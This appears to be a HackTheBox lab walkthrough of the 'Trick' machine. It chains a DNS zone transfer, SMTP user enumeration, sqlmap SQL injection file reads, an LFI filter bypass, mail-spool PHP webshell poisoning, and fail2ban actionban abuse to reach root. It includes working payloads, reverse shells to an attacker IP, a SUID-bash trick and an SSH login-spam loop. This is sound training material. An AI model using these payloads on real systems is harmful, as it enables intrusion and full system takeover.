Introduction
Trick is an Easy-rated Linux machine on HackTheBox. The attack chain is:
- Recon turns up SSH, SMTP, DNS and nginx, and an open DNS port (53/tcp) invites a zone transfer
- The zone transfer leaks the
preprod-payroll.trick.htbvhost; SMTPVRFYconfirms the usermichael - A boolean/error-based SQL injection in the payroll login, backed by a DB user with the FILE privilege, reads arbitrary files, including the nginx config that reveals a second vhost,
preprod-marketing.trick.htb - That vhost has a
....//LFI filter bypass - Combining the LFI with SMTP mail poisoning writes a PHP webshell into
michael’s mail spool and executes it, giving RCE asmichael michaelis in thesecuritygroup, which has write access to/etc/fail2ban/action.d/, plus passwordlesssudoto restart fail2ban, abusing theactionbanhook yields a root shell
Note: The box resets its fail2ban configs periodically, once you start the privilege escalation, run the whole chain quickly in one sequence.
Enumeration
Nmap
Full TCP port scan with service/version detection:
sudo nmap -sC -sV -vv --min-rate 5000 -oN TrickTCP.txt 10.129.168.128
Breaking down every flag for beginners:
| Flag | What it does |
|---|---|
-sC | Run nmap’s default NSE scripts (banner grabs, SMB/HTTP info, etc.) |
-sV | Detect the service and version behind each open port |
-vv | Very verbose, print results as they arrive |
--min-rate 5000 | Send at least 5000 packets/sec to speed the scan up |
-oN TrickTCP.txt | Save normal-format output to a file, always keep your scans |
Open ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.9p1 Debian |
| 25 | SMTP | Postfix |
| 53 | DNS | ISC BIND 9.11.5 |
| 80 | HTTP | nginx 1.14.2 |
Port 80 serves a static “Coming Soon” page. The interesting one is TCP 53, an open DNS port on a host that also serves its own zone is a strong hint that a zone transfer (AXFR) might be allowed.
Beginner tip: DNS normally answers on UDP 53. Seeing TCP 53 open is a tell, TCP is used for zone transfers and oversized responses, so it’s always worth testing
dig axfrwhen you find it.
DNS Enumeration
Reverse Lookup
Ask the box what hostname it knows itself by:
dig @10.129.168.128 -x 10.129.168.128
This returns trick.htb. Add it to your hosts file so the name resolves:
echo "10.129.168.128 trick.htb" | sudo tee -a /etc/hosts
Zone Transfer
A zone transfer asks the DNS server to hand over its entire zone in one go, every record it knows. It should be restricted to secondary name servers, but is often left open:
dig axfr trick.htb @10.129.168.128
Output:
trick.htb. 604800 IN SOA trick.htb. root.trick.htb.
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
preprod-payroll.trick.htb 604800 IN CNAME trick.htb.
The transfer succeeds and leaks a new subdomain: preprod-payroll.trick.htb.
Note:
root.trick.htbin the SOA record is just the zone admin’s email (root@trick.htb) written in DNS notation, the first dot stands in for the@. Not directly exploitable, but good to recognise.
Subdomain Fuzzing
The preprod- prefix looks like a naming convention, so fuzz for more vhosts that follow it:
ffuf -u http://trick.htb -H "Host: preprod-FUZZ.trick.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 5480
Breaking down the flags:
| Flag | What it does |
|---|---|
-u | Target URL (we always hit trick.htb, only the Host header changes) |
-H "Host: preprod-FUZZ.trick.htb" | Inject the wordlist into the Host header, virtual-host fuzzing |
-w | Wordlist of candidate subdomain names |
-fs 5480 | Filter out responses of size 5480 (the default page) so only real vhosts show |
This naming pattern pays off later, reading the nginx config via SQLi confirms the second vhost preprod-marketing.trick.htb. Add both to /etc/hosts:
echo "10.129.168.128 preprod-payroll.trick.htb preprod-marketing.trick.htb" | sudo tee -a /etc/hosts
SMTP Enumeration
Manual Banner Grab
Connect to the mail service by hand and probe for valid users with VRFY:
nc trick.htb 25
220 debian.localdomain ESMTP Postfix (Debian/GNU)
EHLO trick.htb
250-VRFY
...
VRFY root
252 2.0.0 root
VRFY michael
252 2.0.0 michael
VRFY is enabled, and the server confirms both root and michael as valid local users.
Beginner tip: SMTP
VRFYasks the server “does this mailbox exist?” A252(or250) response means yes. It’s a classic username-enumeration primitive and should be disabled in production.
Automated User Enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-t 10.129.168.128 -p 25
Breaking down the flags:
| Flag | What it does |
|---|---|
-M VRFY | Use the VRFY method to test each name |
-U | Wordlist of usernames to try |
-t | Target host |
-p 25 | SMTP port |
This confirms root, michael and the usual service accounts. michael is the one that matters, he becomes our foothold user.
Key insight: SMTP here isn’t only an enumeration surface. Because mail for
michaellands in a file we can laterinclude()via LFI, port 25 is also the write primitive for our RCE.
Web Enumeration
trick.htb
The root site is a static “Coming Soon” page. Content discovery turns up nothing useful:
ffuf -u http://trick.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-e .php,.html,.txt
preprod-payroll.trick.htb
This vhost serves a login panel, an Employee’s Payroll Management System. That login is our way in.
SQL Injection
Manual Authentication Bypass
The login is vulnerable to a classic boolean SQLi. Supplying this as the username logs straight in:
' or 1=1-- -
Beginner tip:
' or 1=1-- -closes the username string, adds an always-true condition so theWHEREclause matches every row, then comments out the rest of the query (the trailing-- -is a SQL comment). The app logs you in as the first user returned.
sqlmap Enumeration
Confirm and weaponise the injection with sqlmap against the login endpoint:
sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
--data="username=abc&password=abc" -p username \
--level 5 --risk 3 --technique=BEUS --batch
Breaking down the flags:
| Flag | What it does |
|---|---|
-u | The injectable URL |
--data | POST body, this is a form login |
-p username | Pin testing to the username parameter |
--level 5 --risk 3 | Maximum test breadth and payload aggressiveness |
--technique=BEUS | Boolean, Error, Union and Stacked techniques |
--batch | Take default answers, no prompts |
It confirms boolean- and error-based injection. Now check what the DB user can do:
sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
--data="username=abc&password=abc" -p username --privileges
The DB account remo@localhost holds the FILE privilege, meaning we can read files off the server’s filesystem through the injection.
File Read via SQLi
Read /etc/passwd to enumerate local users:
sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
--data="username=abc&password=abc" -p username \
--batch --file-read=/etc/passwd
This confirms michael is a real system user. Next, read the nginx config to discover other vhosts:
sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
--data="username=abc&password=abc" -p username \
--batch --file-read=/etc/nginx/sites-enabled/default
The config reveals preprod-marketing.trick.htb, with its webroot at /var/www/market.
Beginner tip: The MySQL FILE privilege turns a SQL injection into an arbitrary file read (
LOAD_FILE) and sometimes a write (INTO OUTFILE). Reading server config files is one of the fastest ways to pivot, they leak paths, other vhosts and credentials.
Local File Inclusion (LFI)
preprod-marketing.trick.htb
Browsing the marketing site, the navigation loads pages through a page parameter:
http://preprod-marketing.trick.htb/index.php?page=services.html
A parameter that names a file and gets passed to include() is a textbook LFI candidate.
Filter Bypass
A naive ../ traversal is blocked, the app runs str_replace("../", "", ...) to strip traversal sequences. The bypass is ....//: when the filter removes the ../ in the middle, the characters on either side collapse back into a clean ../:
....// → str_replace("../","") → ../
Because the replace runs only once and isn’t applied recursively, the reconstructed ../ survives.
PoC, read /etc/passwd:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd
Foothold — Mail Poisoning to RCE
We have two primitives that combine neatly: an LFI that will include() any file we name, and SMTP access to write into michael’s mailbox at /var/mail/michael. Postfix appends incoming mail to that file verbatim, so if we mail PHP to michael and then include the spool, PHP executes it.
Step 1, inject a PHP webshell over SMTP:
nc trick.htb 25
HELO x
mail from: woodenk
rcpt to: michael
data
<?php system($_GET['cmd']); ?>
.
The lone . on its own line ends the message body.
Step 2, start a listener on your attack box:
nc -lvnp 1337
Step 3, trigger the shell by including the poisoned spool through the LFI:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.16.18%201337%20-e%20/bin/sh
If this build of nc doesn’t support -e, use a bash reverse shell instead:
cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.16.18/1337%200>%261'
The shell lands as michael.
Beginner tip: Anything that lets you both write attacker-controlled bytes to a file and include that file as PHP is RCE. Log files (
/var/log/...) and mail spools (/var/mail/...) are the usual poisoning targets, here SMTP is the write side and the LFI is the execute side.
Stabilising Access (SSH)
A reverse shell is fragile. michael has an SSH private key, grab it for a stable session:
cat ~/.ssh/id_rsa
Copy the key to your box, lock down its permissions and log in:
chmod 600 michael.key
ssh -i michael.key michael@10.129.168.128
User Flag
cat ~/user.txt
✅ User flag captured.
Privilege Escalation — fail2ban
Enumeration
id
# uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
sudo -l
# (root) NOPASSWD: /etc/init.d/fail2ban restart
ls -la /etc/fail2ban/action.d/
# drwxrwx--- 2 root security 4096 action.d
Three conditions line up:
michaelis in thesecuritygroup- That group has rwx on
/etc/fail2ban/action.d/ - He can restart fail2ban as root with no password
The Exploit Chain
fail2ban watches logs for failed logins and, when a host trips the limit, runs the actionban command from its action config as root to firewall the offender. Since we can edit the action files, we replace the ban command with our own payload, restart the service, then deliberately trip a ban to fire it.
Step 1, take ownership of the iptables action file:
cd /etc/fail2ban/action.d
mv iptables-multiport.conf iptables-multiport.conf.old
cp iptables-multiport.conf.old iptables-multiport.conf
# the copy is now owned by michael, so we can edit it
Step 2, point actionban at our script:
sed -i 's|actionban = .*|actionban = /tmp/shell.sh|' iptables-multiport.conf
grep actionban iptables-multiport.conf
# actionban = /tmp/shell.sh
Step 3, write the reverse-shell payload:
echo '#!/bin/bash' > /tmp/shell.sh
echo 'bash -i >& /dev/tcp/10.10.16.18/1337 0>&1' >> /tmp/shell.sh
chmod +x /tmp/shell.sh
Step 4, reload fail2ban so it picks up the new action (as root, passwordless):
sudo /etc/init.d/fail2ban restart
Step 5, start a listener on your attack box:
nc -lvnp 1337
Step 6, trip a ban by spamming bad SSH logins:
for i in {1..10}; do
sshpass -p 'wrong' ssh -o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no michael@trick.htb 2>/dev/null
done
Once fail2ban sees enough failures inside its findtime window it runs actionban, i.e. our script, as root, and the listener catches a root shell.
Alternative — SUID bash
Instead of a callback, set the SUID bit on bash so any user can spawn a root shell on demand:
sed -i 's|actionban = .*|actionban = chmod +s /bin/bash|' iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
# ...trip a ban as above...
/bin/bash -p
whoami # root
Beginner tip:
bash -pkeeps the elevated (effective) UID instead of dropping it, so an SUID-root/bin/bashgives an interactive root shell. It’s a clean, reusable alternative to a one-shot reverse shell.
Root Flag
cat /root/root.txt
✅ Root flag captured.
Summary
| Step | Technique |
|---|---|
| Recon | Nmap full TCP port + service scan |
| DNS | Zone transfer (AXFR) → preprod-payroll.trick.htb |
| SMTP | VRFY user enumeration → michael |
| SQLi | Boolean/error-based → FILE privilege → read nginx config |
| LFI | ....// str_replace filter bypass on preprod-marketing |
| Foothold | SMTP mail poisoning + LFI → RCE as michael |
| PrivEsc | Writable fail2ban actionban + sudo restart → root |
Key Takeaways
- DNS zone transfers are always worth trying when 53/tcp is open, here a single
dig axfrdumped the whole zone and handed us the first preprod vhost. - The MySQL FILE privilege upgrades a SQL injection into arbitrary file read; pulling the nginx config is what exposed the second vhost.
....//defeats naive../filtering, a single, non-recursivestr_replace("../","")reconstructs the very sequence it removed.- Mail poisoning is a creative LFI-to-RCE path: SMTP writes attacker-controlled PHP into a mail spool, and the LFI executes it.
- fail2ban privesc needs three things together: group write on
action.d, a way to run the ban action as root, and the ability to trigger a ban. All three were present, so a poisonedactionbanran as root. - The box periodically resets its fail2ban configs, run the privilege-escalation chain quickly, start to finish, in one go.